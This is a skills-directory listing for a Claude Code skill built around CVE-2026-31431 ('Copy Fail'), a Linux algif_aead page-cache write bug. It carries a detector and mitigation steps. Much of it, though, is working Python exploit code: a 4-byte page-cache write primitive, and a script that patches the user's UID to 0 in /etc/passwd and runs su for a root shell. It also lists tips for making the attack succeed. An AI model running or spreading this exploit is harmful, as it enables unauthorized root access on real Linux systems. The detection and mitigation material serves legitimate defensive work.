Detector and proof-of-concept LPE toolkit for CVE-2026-31431 ("Copy Fail"), a Linux kernel algif_aead page-cache scratch-write vulnerability enabling local privilege escalation.
Scanned 9/19/2026
Install to Claude Code
npx -y skills add reason-machines/trending-skills --skill cve-2026-31431-copy-fail --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Cve 2026 31431 Copy Fail?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/reason-machines-cve-2026-31431-copy-fail)More formats (shields.io, HTML) on the badges page.
---
name: cve-2026-31431-copy-fail
description: Detector and proof-of-concept LPE toolkit for CVE-2026-31431 ("Copy Fail"), a Linux kernel algif_aead page-cache scratch-write vulnerability enabling local privilege escalation.
triggers:
- detect CVE-2026-31431
- check if system is vulnerable to Copy Fail
- run the algif_aead exploit detector
- test for page cache corruption vulnerability
- CVE-2026-31431 proof of concept
- check Linux kernel AEAD splice vulnerability
- mitigate algif_aead page cache bug
- Copy Fail Linux privilege escalation
---
# CVE-2026-31431 ("Copy Fail") Toolkit
> Skill by [ara.so](https://ara.so) — Daily 2026 Skills collection.
A Python toolkit for detecting and demonstrating CVE-2026-31431, a Linux kernel vulnerability where `algif_aead` with `authencesn(hmac(sha256),cbc(aes))` performs an in-place AEAD operation via `splice()`, writing into page-cache pages of regular files — enabling an unprivileged user to corrupt the kernel's in-memory view of `/etc/passwd` or other world-readable files for local privilege escalation.
**Authorization notice:** Use only on systems you own or are explicitly engaged to assess. Running this on unauthorized systems is illegal in most jurisdictions.
## Affected Systems
- Linux kernels carrying commit `72548b093ee3` (in-place AEAD, 2017) without the upstream revert
- Confirmed affected: Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16
## Installation
No installation required. Pure Python 3.10+ stdlib — clone and run directly.
```sh
git clone https://github.com/rootsecdev/cve_2026_31431.git
cd cve_2026_31431
python3 --version # requires 3.10+
```
## Files
| File | Purpose |
|------|---------|
| `test_cve_2026_31431.py` | Non-destructive detector; operates only on a temp sentinel file |
| `exploit_cve_2026_31431.py` | LPE; flips UID to 0 in `/etc/passwd` page cache, then invokes `su` |
## Key Commands
### Detector
```sh
python3 test_cve_2026_31431.py
```
Exit codes:
- `0` — Not vulnerable (precondition not met or page cache intact)
- `1` — Test error
- `2` — **Vulnerable** (marker landed in spliced page)
### Exploit
```sh
# Patch /etc/passwd page cache only (dry-run, auto-reverts on exit)
python3 exploit_cve_2026_31431.py
# Patch and spawn root shell via su
python3 exploit_cve_2026_31431.py --shell
```
## How the Vulnerability Works
```
sendmsg([8-byte AAD], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8],
flags=MSG_MORE)
splice(target_fd, pipe_w, 32, offset_src=file_offset)
splice(pipe_r, op_fd, 32)
recv(op_fd) # returns EBADMSG; scratch write has already landed
```
The `authencesn` algorithm writes bytes 4–7 of the AAD (`seqno_lo`) into the destination scatterlist. When `splice()` is used, that destination is the page-cache page of the source file. The on-disk file is **never modified**.
## Core Detection Logic (from `test_cve_2026_31431.py`)
```python
import os, socket, struct, tempfile, ctypes
MARKER = b'PWND'
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
def check_preconditions():
"""Verify AF_ALG and authencesn algorithm are reachable."""
try:
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind({
'type': 'aead',
'name': 'authencesn(hmac(sha256),cbc(aes))',
'feat': 0,
'mask': 0,
})
sock.close()
return True
except (OSError, AttributeError):
return False
def write4(target_path, file_offset, payload_4bytes):
"""
Write exactly 4 bytes into the page cache of target_path at file_offset
using the algif_aead splice path. The auth check will fail (EBADMSG)
but the scratch write fires regardless.
"""
assert len(payload_4bytes) == 4
# Build a 256-bit AES key + 256-bit HMAC-SHA256 key (arbitrary for PoC)
aes_key = bytes(32)
hmac_key = bytes(32)
key = hmac_key + aes_key # authencesn key layout
# Create AF_ALG socket bound to the vulnerable algorithm
alg_sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
alg_sock.bind({
'type': 'aead',
'name': 'authencesn(hmac(sha256),cbc(aes))',
'feat': 0,
'mask': 0,
'authsize': 32,
})
alg_sock.setsockopt(socket.SOL_ALG, ALG_SET_KEY, key)
op_fd, _ = alg_sock.accept()
# 8-byte AAD: bytes 0-3 = seqno_hi (ignored), bytes 4-7 = seqno_lo (WRITTEN)
aad = bytes(4) + payload_4bytes # seqno_lo = our 4-byte payload
# Send AAD inline via sendmsg with control messages
iv = bytes(16) # CBC IV
cmsg = [
(socket.SOL_ALG, ALG_SET_OP, struct.pack('I', 0)), # DECRYPT=0
(socket.SOL_ALG, ALG_SET_IV, struct.pack('II', 16, 0) + iv),
(socket.SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack('I', 8)),
]
op_fd.sendmsg([aad], cmsg, socket.MSG_MORE)
# splice the target file's page-cache page into the op socket
pipe_r, pipe_w = os.pipe()
target_fd = os.open(target_path, os.O_RDONLY)
os.splice(target_fd, pipe_w, 32, offset_src=file_offset)
os.splice(pipe_r, op_fd, 32)
# Drive the decryption — EBADMSG expected; scratch write already fired
try:
op_fd.recv(64)
except OSError:
pass # EBADMSG is expected
os.close(pipe_r)
os.close(pipe_w)
os.close(target_fd)
op_fd.close()
alg_sock.close()
def detect():
if not check_preconditions():
print("Precondition not met — AF_ALG or authencesn unavailable")
return 0
with tempfile.NamedTemporaryFile(delete=False) as f:
sentinel_path = f.name
f.write(b'\x00' * 4096)
try:
# Populate page cache
with open(sentinel_path, 'rb') as f:
f.read()
write4(sentinel_path, 0, MARKER)
# Read back from page cache
with open(sentinel_path, 'rb') as f:
data = f.read(16)
if MARKER in data:
print("VULNERABLE to CVE-2026-31431")
return 2
elif data != b'\x00' * 16:
print("Page cache MODIFIED via in-place AEAD splice path — treat as vulnerable")
return 2
else:
print("Page cache intact — not vulnerable")
return 0
finally:
os.unlink(sentinel_path)
if __name__ == '__main__':
raise SystemExit(detect())
```
## LPE Pattern (from `exploit_cve_2026_31431.py`)
```python
import os, pwd, subprocess
def find_uid_offset(username):
"""Find the byte offset of the UID field in /etc/passwd for username."""
with open('/etc/passwd', 'rb') as f:
content = f.read()
for line in content.split(b'\n'):
if line.startswith(username.encode() + b':'):
fields = line.split(b':')
# fields[2] is the UID
offset = content.index(line) + sum(len(f) + 1 for f in fields[:2])
uid_field = fields[2]
return offset, uid_field
raise ValueError(f"User {username!r} not found in /etc/passwd")
def exploit(username, spawn_shell=False):
uid_offset, uid_field = find_uid_offset(username)
if len(uid_field) != 4:
raise ValueError(
f"UID {uid_field.decode()!r} is not 4 digits — "
"1-3 digit UIDs require multi-shot writes"
)
print(f"[*] Patching UID at offset {uid_offset} in /etc/passwd page cache...")
write4('/etc/passwd', uid_offset, b'0000')
# Verify libc now reports UID 0
entry = pwd.getpwnam(username)
if entry.pw_uid != 0:
print("[!] getpwnam still returns original UID — NSS cache may be active")
print(" Try: sudo systemctl stop nscd sssd systemd-userdbd")
return
print(f"[+] /etc/passwd page cache patched — {username} now appears as UID 0")
if spawn_shell:
print(f"[*] Spawning root shell via: su {username}")
print("[*] Enter your own password at the prompt")
os.execvp('su', ['su', username])
else:
print("[*] Dry-run complete. Page cache will be evicted on exit.")
# Auto-evict corrupted page on exit
fd = os.open('/etc/passwd', os.O_RDONLY)
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
os.close(fd)
if __name__ == '__main__':
import sys
username = os.environ.get('USER') or os.getlogin()
spawn_shell = '--shell' in sys.argv
exploit(username, spawn_shell)
```
## Requirements for LPE
- Running user has a **4-digit UID** (1000–9999)
- No NSS caching daemon masking `/etc/passwd` reads (`nscd`, `sssd`, `systemd-userdbd`)
- `/etc/passwd` page remains in cache between patch and `su` exec
## Reverting Page Cache Corruption
The on-disk `/etc/passwd` is **never modified**. To restore normal UID resolution:
```sh
# From unprivileged user — evict corrupted page:
python3 -c "
import os
fd = os.open('/etc/passwd', os.O_RDONLY)
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
os.close(fd)
"
# From root shell — drop all page caches:
echo 3 > /proc/sys/vm/drop_caches
# Or simply reboot
```
## Mitigation
```sh
# Disable algif_aead module permanently
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false'
# Unload if currently loaded
sudo rmmod algif_aead 2>/dev/null
# Verify — detector should now report "Precondition not met"
python3 test_cve_2026_31431.py
```
## Troubleshooting
| Symptom | Cause | Fix |
|---------|-------|-----|
| `OSError: [Errno 93] Protocol not supported` | `AF_ALG` not available | Kernel too old or CONFIG_CRYPTO_USER_API_AEAD not set |
| `OSError: [Errno 2] No such file or directory` (bind) | `algif_aead` module not loaded | `sudo modprobe algif_aead` or apply mitigation |
| `getpwnam` returns original UID after patch | NSS cache active | Stop `nscd`/`sssd`/`systemd-userdbd` |
| Detector exits 0 on known-vulnerable kernel | Page evicted before re-read | Ensure no memory pressure; retry immediately |
| Multi-digit UID < 1000 | `write4` writes exactly 4 bytes | Pad UID field manually or extend `write4` for multi-shot |
## References
- Disclosure writeup: <https://xint.io/blog/copy-fail-linux-distributions>
- CVE: CVE-2026-31431
- Upstream fix: revert in-place AEAD to out-of-place, keeping page-cache pages out of writable scatterlists
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!